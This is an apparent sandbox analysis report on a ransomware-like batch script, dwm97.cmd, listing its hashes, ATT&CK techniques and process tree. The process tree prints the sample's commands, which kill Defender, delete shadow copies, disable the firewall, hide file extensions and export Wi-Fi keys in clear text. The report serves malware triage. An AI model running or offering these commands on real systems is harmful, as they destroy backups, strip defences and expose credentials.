330def024c7c03c35fdab78b6570fc938a77ddeddee5c3d5253729e764437dbd

Analysis

max time kernel
149s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 21:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dwm97.cmd
Size 376B
Sample260529-1trlsaft6x
SHA256 330def024c7c03c35fdab78b6570fc938a77ddeddee5c3d5253729e764437dbd
MD5 d4e3c88b5327cbdea3cd1b57566ff488
SHA1 81a42325c37786ba0263e35bb0c0ef43408325fa
SHA512 dc734bcdab2aed166c5a8771464f8859c8495facb4275386372a2d340033e957cd6c2e1faf141e4b2177923fcc59c52798b5b2caf5e33eff5c8c72d3cf966ccf
TLSH
T128E06852D51E8640D6A0BA70A34A1622ED5FE187EC9066D12E52A170789204B83F82D7
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution impact persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4508	netsh.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4808	taskkill.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4808	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4924	WMIC.exe
Token: SeSecurityPrivilege	4924	WMIC.exe
Token: SeTakeOwnershipPrivilege	4924	WMIC.exe
Token: SeLoadDriverPrivilege	4924	WMIC.exe
Token: SeSystemProfilePrivilege	4924	WMIC.exe
Token: SeSystemtimePrivilege	4924	WMIC.exe
Token: SeProfSingleProcessPrivilege	4924	WMIC.exe
Token: SeIncBasePriorityPrivilege	4924	WMIC.exe
Token: SeCreatePagefilePrivilege	4924	WMIC.exe
Token: SeBackupPrivilege	4924	WMIC.exe
Token: SeRestorePrivilege	4924	WMIC.exe
Token: SeShutdownPrivilege	4924	WMIC.exe
Token: SeDebugPrivilege	4924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4924	WMIC.exe
Token: SeRemoteShutdownPrivilege	4924	WMIC.exe
Token: SeUndockPrivilege	4924	WMIC.exe
Token: SeManageVolumePrivilege	4924	WMIC.exe
Token: 33	4924	WMIC.exe
Token: 34	4924	WMIC.exe
Token: 35	4924	WMIC.exe
Token: 36	4924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4924	WMIC.exe
Token: SeSecurityPrivilege	4924	WMIC.exe
Token: SeTakeOwnershipPrivilege	4924	WMIC.exe
Token: SeLoadDriverPrivilege	4924	WMIC.exe
Token: SeSystemProfilePrivilege	4924	WMIC.exe
Token: SeSystemtimePrivilege	4924	WMIC.exe
Token: SeProfSingleProcessPrivilege	4924	WMIC.exe
Token: SeIncBasePriorityPrivilege	4924	WMIC.exe
Token: SeCreatePagefilePrivilege	4924	WMIC.exe
Token: SeBackupPrivilege	4924	WMIC.exe
Token: SeRestorePrivilege	4924	WMIC.exe
Token: SeShutdownPrivilege	4924	WMIC.exe
Token: SeDebugPrivilege	4924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4924	WMIC.exe
Token: SeRemoteShutdownPrivilege	4924	WMIC.exe
Token: SeUndockPrivilege	4924	WMIC.exe
Token: SeManageVolumePrivilege	4924	WMIC.exe
Token: 33	4924	WMIC.exe
Token: 34	4924	WMIC.exe
Token: 35	4924	WMIC.exe
Token: 36	4924	WMIC.exe
Token: SeBackupPrivilege	3152	vssvc.exe
Token: SeRestorePrivilege	3152	vssvc.exe
Token: SeAuditPrivilege	3152	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 3932	1144	cmd.exe	81
PID 1144 wrote to memory of 4808	1144	cmd.exe	82
PID 1144 wrote to memory of 4924	1144	cmd.exe	84
PID 1144 wrote to memory of 4508	1144	cmd.exe	87
PID 1144 wrote to memory of 5044	1144	cmd.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dwm97.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
  2⤵
  - Modifies visibility of file extensions in Explorer
  PID:3932
- C:\Windows\system32\taskkill.exe
  taskkill /f /im msmpeng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4508
- C:\Windows\system32\netsh.exe
  netsh wlan export profile key=clear folder=C:\Users\Admin\AppData\Local\Temp\wifi
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5044